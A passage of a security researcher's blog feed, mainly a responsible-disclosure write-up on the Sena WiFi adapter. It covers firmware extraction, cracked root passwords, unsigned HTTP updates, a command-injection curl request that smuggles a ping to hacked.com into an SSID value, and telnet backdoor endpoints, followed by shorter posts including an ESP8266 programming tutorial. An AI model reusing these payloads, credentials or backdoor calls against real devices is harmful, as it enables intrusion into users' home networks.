</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>user.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00FC0000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00FFFFFF-0x00FC0000<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>u-logo.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00FFFFFF<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00FFFFFF-0x00FFFFFF<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>sena_wifi.bin of<span style="color:#f92672">=</span>rescue.bin bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> skip<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00AC0000<span style="color:#66d9ef">))</span> count<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span><span style="color:#ae81ff">0</span>x00EBFFFF-0x00AC0000<span style="color:#66d9ef">))</span>
</span></span></code></pre></div><p>With the individual partitions extracted they can be explored with tools like <code>file</code>, <code>strings</code>, <a href="https://github.com/ReFirmLabs/binwalk">Binwalk</a>, or mounted on another Linux system. The <code>rootfs-r</code> and <code>rootfs-rw</code> seem to the the only partitions with real file-systems and can be mounted locally with the following commands.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>mount -t cramfs -o loop,ro rootfs-r.bin rootfs-r/
</span></span><span style="display:flex;"><span>modprobe mtdblock
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>rootfs-rw.bin of<span style="color:#f92672">=</span>/dev/mtdblock0
</span></span><span style="display:flex;"><span>mount -t jffs2 -o ro /dev/mtdblock0 rootfs-rw/
</span></span></code></pre></div><p>Now the file-systems can be explored locally.</p>
<h3 id="passwords">Passwords</h3>
<p>There are two <code>/etc/shadow</code> files, one on <code>rootfs-r</code> and another on <code>rootfs-rw</code>. One is mounted over the other during boot. The root password from <code>rootfs-r</code> was hashed with md5crypt which the online service <a href="https://www.onlinehashcrack.com/">OnlineHashCrack.com</a> was able to crack for free revealing it was <code>1234</code>. However this password did not work for the UART Linux login prompt, meaning the <code>rootfs-rw</code> partition is likely mounted over it.</p>
<p>The <code>rootfs-rw</code> partition&rsquo;s <code>/etc/shadow</code> root password was hashed with the much more secure DEScrypt algorithm. I was able to submit this hash to <a href="https://crack.sh/">crack</a><a href="https://crack.sh/">.</a><a href="https://crack.sh/">sh</a> and have it cracked in a day revealing the password <code>snowtalk</code>. They say a picture is worth 1000 words:</p>
<figure>
    <img loading="lazy" src="images/root-shell-access.webp"
         alt="Root shell on Sena WiFi Adapter"/> <figcaption>
            <p>Root shell on Sena WiFi Adapter</p>
        </figcaption>
</figure>

<p>It worked! Root shell acquired! It&rsquo;s now possible to poke around the running system which is much more valuable than just exploring the file-system dump created earlier.</p>
<p>Sena has another product called the <a href="https://www.sena.com/product/snowtalk-2">Snowtalk</a>, which makes me wonder if aside from poor password choice if there is any password reuse going on&hellip;</p>
<h2 id="network-analysis">Network Analysis</h2>
<p>The Sena WiFi adapter can act as its own AP (wireless access point) for initial configuration; or join an existing wireless network (for updating firmware). In both modes the same services appear to be running on the device. The only service of interest is an HTTP server running on port 8000, that the companion app sends requests to, but more on that later.</p>
<p>When in normal mode (as a client connected to WiFi), the WiFi adapter sends out periodic requests to check for firmware updates for itself, and any headset that may be connected.</p>
<p>In order to view and tamper with the outbound requests I made a simple <a href="https://github.com/lanrat/mitm">DNS and HTTP MITM server</a> that would log and respond to any requests the device made on the network. Using this tool I was able to discover that all of its outbound requests are to <code>http://firmware.sena.com</code>. This is interesting because it only used HTTP and not HTTPS, which means the traffic can be easily inspected and it is possible to serve different content to the adapter without it knowing.</p>
<h3 id="network-behavior">Network Behavior</h3>
<p>First, periodic requests are made to <code>http://firmware.sena.com/senabluetoothmanager/WiFiCradle/check.cdat</code> to check for Internet connectivity. Once Internet connectivity is established, a request to <code>http://firmware.sena.com/senabluetoothmanager/WiFiCradle/fw_restore_ver_adapter.cdat</code> is made to determine if the WiFi adapter needs to update its own firmware, if so it will download an ARM ELF executable from the same server and run it. If there is a newer adapter firmware available it will download the binary <code>http://firmware.sena.com/senabluetoothmanager/WiFiCradle/FIRMWARE_660R_X.X_ADAPTER.bin</code> and run it, where <code>X.X</code> is the firmware version.</p>
<p>After the WiFi adapter is satisfied that it is running the latest firmware, it will make a request to <code>http://firmware.sena.com/senabluetoothmanager/Firmware</code> to get a list of all the firmware available for all of Sena&rsquo;s headset products. If it determines that there is a newer firmware available for the connected headset, it will download and run <code>http://firmware.sena.com/senabluetoothmanager/WiFiCradle/loader.capp</code> which is another ARM ELF executable to start the firmware updating process. This <code>loader.capp</code> will determine which headset is connected by looking at the USB Product ID (PID), and then download <code>http://firmware.sena.com/senabluetoothmanager/WiFiCradle/updater_0x####.capp</code>, where <code>0x####</code> is the USB PID in hex. This is another binary file that is run, specific to the particular headset that is connected. For my 50R, this was <code>updater_0x3134.capp</code>. Finally, the updater program will download the latest firmware image and flash it to the headset using <a href="https://en.wikipedia.org/wiki/USB#Device_Firmware_Upgrade">DFU</a>. In my case this was <code>http://firmware.sena.com/senabluetoothmanager/50R-v1.0.4.img</code>.</p>
<h3 id="network-mitm">Network MITM</h3>
<p>What&rsquo;s important to note here is that all the binaries are downloaded over HTTP, and there is no <a href="https://en.wikipedia.org/wiki/Code_signing">signature validation</a>. This means anyone able to intercept network requests can provide other binaries and the WiFi adapter will blindly download and run them. To test this I created my own versions of the binaries, but I used the following shell script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span>ping -c <span style="color:#ae81ff">1</span> hacked.com
</span></span></code></pre></div><p>Surprisingly this worked even though it was a script and not an ELF binary. As I was still monitoring the network traffic, I could see the DNS request being made for <code>hacked.com</code> and then ICMP requests being sent to it. This worked for all of the previously mentioned binary files. This allows for <a href="https://en.wikipedia.org/wiki/Arbitrary_code_execution">Remote Code Execution</a> as long as the attacker is on the same network as the adapter and able to impersonate the <code>firmware.sena.com</code> HTTP server. Combined with <a href="https://en.wikipedia.org/wiki/ARP_spoofing">ARP Spoofing</a>, an attacker only needs to be on the same network to make the adapter think that the attacker is the gateway allowing then to impersonate the HTTP update server and send malicious updates.</p>
<p>But can the attack be better?</p>
<h2 id="reverse-engineering">Reverse Engineering</h2>
<p>With access to the file-system and binaries that are running on the device from the prior work, it is now possible to examine the HTTP API server <code>query.cgi</code> listening on port 8000. This API is used by the companion apps.</p>
<p>Since the <code>query.cgi</code> HTTP server runs when the adapter is in AP mode, and when connected to another network, It is possible to make calls to it from any computer on the same network it is connected to, and even instruct it to switch to AP mode, or from AP mode and connect to another network from the Android app. There is no authentication for the API or for the network when in AP mode making the API a great target.</p>
<p>Monitoring the network traffic between the <a href="https://play.google.com/store/apps/details?id=sena.foi5.enterprise.com.sena">Android app</a> and the WiFi adapter (IP:<code>10.42.0.1</code>) reveals that all the  API calls are HTTP GET request with parameters and values in the query-string, and responses returned in the HTTP body.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=getaplist
</span></span><span style="display:flex;"><span>http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=app_version
</span></span><span style="display:flex;"><span>http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=setssid&amp;value=WiFiNetworkName
</span></span><span style="display:flex;"><span>http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=getlog
</span></span></code></pre></div><p>This appears to be a very simple RPC API where the <code>cmd</code> parameter is the function to call and any arguments are provided with the <code>value</code> parameters.</p>
<p>Some API calls reveal a lot of information. For example, one such call returns the user&rsquo;s WiFi password, which could be used by an attacker to get onto a victim&rsquo;s home network if they <a href="https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack">de-auth</a> the WiFi adapter putting it into AP mode first.</p>
<p>In order to determine how the API calls are implemented and if there are any other hidden API calls available, the <code>query.cgi</code> can be examined with a software reverse engineering tool like <a href="https://ghidra-sre.org/">Ghidra</a>.</p>
<h3 id="taking-a-look-at-setssid">Taking a look at setssid</h3>
<p>I looked at the <code>setssid</code> command first to see how the user supplied data was being processed. After setting the WiFi SSID in the <code>[wpa_supplicant.conf](https://linux.die.net/man/5/wpa_supplicant.conf)</code> file it also sets the hostname of the WiFi adapter to the provided value with the following code:</p>
<figure>
    <img loading="lazy" src="images/ghidra-setssid-function.webp"
         alt="setssid() function"/> <figcaption>
            <p>setssid() function</p>
        </figcaption>
</figure>

<p>At first pass this may seem fine, but upon further inspection I noticed that the user supplied value, <code>param_1</code> in this case, was being put into a string with <code>sprintf()</code> and then passed to <code>system()</code>, which will pass the command to the shell. This is a vulnerability.</p>
<p>If I pass the value <code>sena1337&quot;;ping -c1 &quot;hacked.com</code>, then the string passed to <code>system()</code> will end up being <code>/bin/hostname &quot;sena1337&quot;;ping -c1 &quot;hacked.com&quot;</code> which will set the hostname to &ldquo;sena1337&rdquo; and then run the second command provided, in this case, ping. This works because the <code>;</code> character tells the shell to treat everything after it as a separate command.</p>
<p>Since setting the SSID is a feature provided by the mobile app, it might be possible to use it to perform run commands, however it seems Sena thought of that and prevented it.</p>
<figure>
    <img loading="lazy" src="images/android-app-input-validation.webp"
         alt="Sena Android App command injection"/> <figcaption>
            <p>Sena Android App command injection</p>
        </figcaption>
</figure>

<p>But this is only the Android app sanitizing the input and preventing the use of special characters in this API call. It is possible to bypass the app and make the call directly with curl and <a href="https://www.w3schools.com/tags/ref_urlencode.ASP">URL encoding</a> the parameters:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>curl <span style="color:#e6db74">&#39;http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=setssid&amp;value=sena1337%22%3Bping%20-c1%20%hacked.com&#39;</span>
</span></span></code></pre></div><p>After running the above command while the adapter was on my home network, I observed both a DNS query for <code>hacked.com</code> and an ICMP ping request sent as well. This is known as <a href="https://owasp.org/www-community/attacks/Command_Injection">Command Injection</a>, and it worked here because the user input was only validated on the client (Android app) and not the server (HTTP API). While the ping here is harmless, it can be replaced with any other command which the WiFi adapter will run as root. Another RCE!</p>
<h3 id="finding-a-backdoor">Finding a Backdoor</h3>
<p>After further examination of the HTTP API code I found a few more interesting API calls. The WiFi adapter has two test modes that change the endpoints the adapter uses to check for firmware updates. These are likely used internally at Sena for development and debugging. When in test mode the WiFi adapter also starts a telnet server listing on port 23. And of course, there is a API call to just enable the telnet server directly in the normal mode too. A HTTP GET request to any of these endpoints will start the telnet server:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=telnetd
</span></span><span style="display:flex;"><span>http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=setconf&amp;key=testmode&amp;value=1
</span></span><span style="display:flex;"><span>http://10.42.0.1:8000/cgi-bin/query.cgi?cmd=setconf&amp;key=testmode&amp;value=2
</span></span></code></pre></div><p>Once started, anyone on the same network can connect to it. The telnet server does require authentication, but the previously acquired password works providing another root shell. More RCE!</p>
<h3 id="looking-at-another-system-call">Looking at Another System Call</h3>
<p>There are many places that the HTTP API will make a <code>system()</code> call to <code>wget</code> in order to download a file from the Internet such as the previously mentioned firmware updates or binaries that it runs as part of the update process. All of the calls to <code>wget</code> look like this:</p>
<figure>
    <img loading="lazy" src="images/ghidra-wget-system-call.webp"
         alt="wget system() call"/> <figcaption>
            <p>wget system() call</p>
        </figcaption>
</figure>

<p>Here the code clearly shows us that <code>wget</code> is always called with the <code>--no-check-certificate</code> flag, which means that even if HTTPS was used, the certificate would not be checked, still allowing an attacker to provide any binary or firmware they want.</p>
<p>After reviewing more of the code, I suspect that the same code and hardware that are in this WiFi adapter are also in Sena&rsquo;s <a href="https://www.sena.com/product/wifi-docking-station">WiFi Docking Station</a>, Implying it is vulnerable to the same attacks. There were even references to unreleased and unannounced Sena products in the reversed code as well.</p>
<h2 id="conclusion">Conclusion</h2>
<p>These findings provide a potential attacker multiple ways to remotely get root shell access to the WiFi Adapter cable. From here they can flash malicious firmware to the adapter and helmet, or use the adapter as a pivot point and attack other devices on the user&rsquo;s home network. If the attacker was able to flash malicious firmware onto a headset, it could lead to injury or even loss of life if the bad firmware was able to distract or incapacitate a driver.</p>
<p>Unfortunately these types of vulnerabilities are common on IoT devices like this where security is not a high concern.</p>
<h3 id="findings-list">Findings List</h3>
<ul>
<li>weak dictionary word password</li>
<li>no signature verification for update images or binaries loaded over the network</li>
<li>no TLS used for remote connections</li>
<li>command injection on HTTP API</li>
<li>SSL certificate checking disabled</li>
<li>telnet backdoor</li>
</ul>
<p>One hypothetical full attack chain could go like this: an attacker scans for Sena WiFi adapters around them identifying them by <a href="https://en.wikipedia.org/wiki/Organizationally_unique_identifier">MAC address OUI prefix</a>. Once found, send a WiFi de-auth frame to the adapter causing it to go into AP mode, if not already. Then connect to the WiFi adapter, and get a root shell using either the telnet backdoor and password, or command injection. From here the attacker can steal the user&rsquo;s home WiFi password, use the adapter as a pivot to attack other devices on the victim&rsquo;s network, backdoor the firmware to provide malicious firmware updates to any connected headsets, and more. All wirelessly without physical access to the WiFi adapter.</p>
<h3 id="disclosure-timeline">Disclosure Timeline</h3>
<p>As a long-time user and advocate of Sena products, I&rsquo;d like to work with them to fix these issues and make them more secure for everyone. Unfortunately that was more difficult than ideal. I was unable to get in contact with anyone at Sena to disclose the vulnerabilities when I initially found them in September 2020. It was not until after I gave them 90 days and submitted my original draft of this post to them in December that they eventually respond to me and started working to fix the issues. I gave them an additional few months to fix the issues as it was my goal to get the problems fixed.</p>
<ul>
<li>09/24/2020 - I had great difficulty finding any contact information for Sena to report these findings. I started by emailing <code>sales.us@sena.com</code> and <code>sena.it@sena.com</code>, and was told to file a support ticket.</li>
<li>09/25/2020 - Sent a Twitter DM to <a href="https://twitter.com/senabluetooth">@senabluetooth</a>, who also told me to file a support ticket. I filed support ticket #390170 to start the conversation for disclosure. The support reps said they would pass along my claim to upper management and then closed the ticket. However I was unable to provide details of the vulnerabilities to them.</li>
<li>09/26/2020 - I emailed <code>security@sena.com</code> (bounced), <code>privacy@sena.com</code>, <code>info@sena.com</code>, and <code>it@senausa.com</code>, but got no responses. I even found what I believed to be their CIO&rsquo;s email and emailed them directly and got no response. Still I decide to give them 90 days before I publish this post in case they are working internally on a fix.</li>
<li>12/23/2020 - I sent a draft of this post to the Sena support team and CIO.</li>
<li>12/24/2020 - Sena&rsquo;s CIO finally responds to my email and forwards the information to the product team.</li>
<li>12/25/2020 - Sena&rsquo;s CTO reached out to me to let me know their development team is investigating the issues.</li>
<li>12/29/2020 - Sena confirms everything in the above report to be correct, and asks that I postpone publishing until the end of February 2021. I agree.</li>
<li>02/26/2021 - Sena releases WiFi Adapter firmware v1.1 and updates to their mobile apps with fixes to the findings above.</li>
<li>03/08/2021 - I publish this blog post.</li>
</ul>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition note">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
        <span>Note</span>
      </div>
      <div class="admonition-content">
        <p>I have not gotten around to testing the Sena updates to verify that all of the issues described here are sufficiently mitigated. I&rsquo;ll update this post if I get around to testing them.</p>
      </div>
    </div><p>Sena was nice enough to send me a free Sena 50R for submitting the issue to them and for waiting for them to release a fix before publishing this post.</p>
]]></content:encoded></item><item><title>Luxer One</title><link>https://lanrat.com/projects/luxer-one/</link><pubDate>Sun, 21 Feb 2021 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/luxer-one/</guid><description>&lt;p&gt;Luxer One is a Python API client for the Luxer One Residential package management system. The library provides programmatic access to check package delivery status, retrieve pending packages, and interact with smart locker systems commonly found in apartment complexes and residential buildings.&lt;/p&gt;
&lt;p&gt;The client handles authentication with the Luxer One API and includes example code demonstrating basic operations such as logging in and querying package information. This enables automated monitoring and management of package deliveries through the Luxer One platform.&lt;/p&gt;</description><content:encoded>&lt;p>Luxer One is a Python API client for the Luxer One Residential package management system. The library provides programmatic access to check package delivery status, retrieve pending packages, and interact with smart locker systems commonly found in apartment complexes and residential buildings.&lt;/p>
&lt;p>The client handles authentication with the Luxer One API and includes example code demonstrating basic operations such as logging in and querying package information. This enables automated monitoring and management of package deliveries through the Luxer One platform.&lt;/p>
</content:encoded></item><item><title>Programming Bare ESP-WROOM-02</title><link>https://lanrat.com/posts/programming-bare-esp-wroom-02/</link><pubDate>Wed, 20 Jan 2021 14:15:09 +0000</pubDate><guid>https://lanrat.com/posts/programming-bare-esp-wroom-02/</guid><description>Hardware tutorial for programming bare ESP-WROOM-02 chips using UART connections and Arduino IDE without development boards.</description><content:encoded><![CDATA[<p>A while ago I received a bunch of bare ESP-WROOM-02 chips on tape, but I could not find enough documentation to program them (partially out of laziness). With my recent interest in <a href="https://esphome.io/">ESPHome</a>, I decided to give them another try. This blog post contains the results of my research on how to program them.</p>
<figure>
    <img loading="lazy" src="images/esp-wroom-02-chip.webp"
         alt="ESP-WROOM-02"/> <figcaption>
            <p>ESP-WROOM-02</p>
        </figcaption>
</figure>

<p>The ESP-WROOM-02 is just a ESP8266 underneath. If you don&rsquo;t have a breakout board like me, then you will need a UART adapter and make a few minimal solder connections to set the various boot modes to allow you to program the firmware. Once programmed for the first time, you can use OTA updates to allow flashing firmware over WiFi and not need to mess with the wiring every time you want to reprogram it.</p>
<p>The pinout of the ESP-WROOM-02 from its <a href="https://www.espressif.com/sites/default/files/documentation/0c-esp-wroom-02_datasheet_en.pdf">datasheet</a> is as follows:</p>
<figure>
    <img loading="lazy" src="images/esp-pinout-diagram.webp"
         alt="ESP-WROOM-02 pinout"/> <figcaption>
            <p>ESP-WROOM-02 pinout</p>
        </figcaption>
</figure>

<h2 id="powering-the-esp-wroom-02">Powering the ESP-WROOM-02</h2>
<p>At a minimum, to power the chip, you&rsquo;ll need to provide 3.3v to pin 1, and ground to pin 9 or pin 18. You&rsquo;ll also need to pull the EN pin high to enable the chip. The correct way to do this is to use a 10k resistor between pin 2 and your 3.3v power source, but I just bridged pin 1 and pin 2 so that the ESP is always enabled when receiving power. This is a hack, but good enough for my purposes.</p>
<p>When the RST pin 15 goes from low (GND) to high or floating it will reset the ESP. This can also be achieved by reapplying power, so it is not strictly needed for programming but can be nice to have.</p>
<h2 id="boot-modes">Boot modes</h2>
<p>If you were to power on the ESP-WROOM-02 as described above and look at the serial output at 74880 8n1 you would see the following message from the boot-loader:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>\xFF
</span></span><span style="display:flex;"><span> ets Jan  8 2013,rst cause:1, boot mode:(7,0)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>waiting for host
</span></span></code></pre></div><p>The boot mode shows the current and previous boot mode as <code>mode:(current, previous)</code>.</p>
<figure>
    <img loading="lazy" src="images/arduino-ide-preferences.webp"
         alt="Boot Mode Table"/> <figcaption>
            <p>Boot Mode Table</p>
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="images/arduino-ide-board-selection.webp"
         alt="Boot Cause Table"/> <figcaption>
            <p>Boot Cause Table</p>
        </figcaption>
</figure>

<p>We only care about booting from UART for programming and from flash for running the program.</p>
<p>In order to boot to UART for programming IO0 and  IO15 need to be held low (GND) while the ESP boots up. Once in UART programming mode the ESP will switch to 115200 8n1 and wait for a program to be loaded.</p>
<p>To boot normally and run your flashed program IO15 needs to be held low (GND) and IO0 can be held high (with a resistor to 3.3v) or left floating.</p>
<p>After the ESP is booted (in either mode) IO0 and IO15 can be repurposed for other GPIO. They only need to be held high/low during boot to set the correct boot mode.</p>
<p>After programming is done, you may need to manually reset the ESP (with RST or reapplying power) and change the configuration to make it boot to the freshly programmed code.</p>
<p>To make things as simple as possible, if you don&rsquo;t need to use IO0 and IO15 for your project, IO15 can be permanently wired to GND, and IO0 to a switch to GND to allow for easy programming.</p>
<figure>
    <img loading="lazy" src="images/esp-breadboard-setup.webp"
         alt="ESP-WROOM-02 breadboard setup with FT232H UART adapter"/> <figcaption>
            <p>ESP-WROOM-02 breadboard setup with FT232H UART adapter</p>
        </figcaption>
</figure>

<p>Photo of my ESP-WROOM-02 connected to an <a href="https://www.adafruit.com/product/2264">Adafruit FT232H UART adapter</a>.</p>
<h2 id="esphome">ESPHome</h2>
<p>I&rsquo;ve decided to use <a href="https://esphome.io/devices/esp8266.html">ESPHome</a> as the framework to load code onto the ESP-WROOM-02, but it is also possible to use the much more lightweight <a href="https://github.com/esp8266/Arduino">Arduino ESP8266 framework</a> as well. ESPHome can be <a href="https://esphome.io/guides/getting_started_command_line.html#installation">installed inside Docker or with pip</a>.</p>
<p>Below is a minimal ESPHome yaml configuration file to get the ESP online and configured to allow flashing further firmware updates over WiFi. Be sure to update the placeholder values with your own. You can also enable other sensors or integrations supported by <a href="https://esphome.io/index.html#sensor-components">ESPHome</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">esphome</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">esphome-wroom-02</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">ESP8266</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">board</span>: <span style="color:#ae81ff">esp_wroom_02</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">wifi</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssid</span>: <span style="color:#e6db74">&#34;YOUR_WIFI_SSID&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">password</span>: <span style="color:#e6db74">&#34;YOUR_WIFI_PASSWORD&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Enable fallback hotspot (captive portal) in case wifi connection fails</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ap</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssid</span>: <span style="color:#e6db74">&#34;ESP-WROOM-02&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">password</span>: <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># fallback mechanism for when connecting to the configured WiFi fails.</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">captive_portal</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># enable OTA for firmware flashing over WiFi</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">ota</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">password</span>: <span style="color:#e6db74">&#34;YOUR_SECURE_PASSWORD_HERE&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Enable logging</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">logger</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># enable local web server</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">web_server</span>:
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">port</span>: <span style="color:#ae81ff">80</span>
</span></span></code></pre></div><p>When you are ready to flash your ESP-WROOM-02 with ESPHome, just pass the yaml configuration file as an argument to the ESPHome command after connecting your UART.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>esphome esp-wroom-02-example.yaml run
</span></span></code></pre></div><p>This will flash the ESP-WROOM-02 with ESPHome with your settings and then start displaying the logs being sent from the ESP over UART. At this point it is now safe to kill the command and disconnect the UART.</p>
<p>Whenever you power on the ESP-WROOM-02 it will connect to your network and run the configuration you loaded onto it. If you ever want to flash an updated firmware, you can use the http server now running on the ESP to upload a new firmware (be sure to have it set to connect back to the same network) or use the same <code>esphome run</code> command without the UART connected to upload new firmware wirelessly. You can also use <code>esphome logs</code> to view the logs wirelessly without uploading new firmware.</p>
]]></content:encoded></item><item><title>Extsort</title><link>https://lanrat.com/projects/extsort/</link><pubDate>Wed, 25 Mar 2020 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/extsort/</guid><description>&lt;p&gt;Extsort is a Go library that implements external sorting algorithms for datasets larger than available memory. The library manages temporary files and memory buffers to sort data that cannot fit entirely in RAM.&lt;/p&gt;
&lt;p&gt;The implementation uses merge sort with configurable buffer sizes and temporary file management. It provides a standard Go interface for sorting operations while automatically handling the complexity of disk-based intermediate storage and merging phases.&lt;/p&gt;</description><content:encoded>&lt;p>Extsort is a Go library that implements external sorting algorithms for datasets larger than available memory. The library manages temporary files and memory buffers to sort data that cannot fit entirely in RAM.&lt;/p>
&lt;p>The implementation uses merge sort with configurable buffer sizes and temporary file management. It provides a standard Go interface for sorting operations while automatically handling the complexity of disk-based intermediate storage and merging phases.&lt;/p>
</content:encoded></item><item><title>Allxfr</title><link>https://lanrat.com/projects/allxfr/</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/allxfr/</guid><description>&lt;p&gt;Allxfr performs DNS zone transfers (AXFR) against nameservers to retrieve complete zone files. The tool systematically attempts zone transfers against root zone servers and other configured nameservers to discover available zone data.&lt;/p&gt;
&lt;p&gt;The program supports both IPv4 and IPv6 connections and includes options for parallel transfers, dry-run operations, and zone file storage. It implements the DNS AXFR protocol to request complete zone transfers from authoritative nameservers that permit such operations.&lt;/p&gt;</description><content:encoded>&lt;p>Allxfr performs DNS zone transfers (AXFR) against nameservers to retrieve complete zone files. The tool systematically attempts zone transfers against root zone servers and other configured nameservers to discover available zone data.&lt;/p>
&lt;p>The program supports both IPv4 and IPv6 connections and includes options for parallel transfers, dry-run operations, and zone file storage. It implements the DNS AXFR protocol to request complete zone transfers from authoritative nameservers that permit such operations.&lt;/p>
</content:encoded></item><item><title>Minimalin Watch Face</title><link>https://lanrat.com/projects/minimalin-watch-face/</link><pubDate>Mon, 10 Jun 2019 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/minimalin-watch-face/</guid><description>&lt;p&gt;Minimalin Watch Face is a minimalistic Wear OS watch face featuring clean typography and Material Design aesthetics. The watch face displays time with customizable complications and supports ambient mode for always-on displays with reduced power consumption.&lt;/p&gt;
&lt;p&gt;Inspired by the original &lt;a href="https://lanrat.com/projects/minimalin-reborn/"&gt;Pebble Minimalin watch face&lt;/a&gt;, this Wear OS implementation includes configurable color themes, center complications for additional information display, and optimized rendering for various screen sizes and densities across different smartwatch models.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Minimalin Watch Face is a minimalistic Wear OS watch face featuring clean typography and Material Design aesthetics. The watch face displays time with customizable complications and supports ambient mode for always-on displays with reduced power consumption.</p>
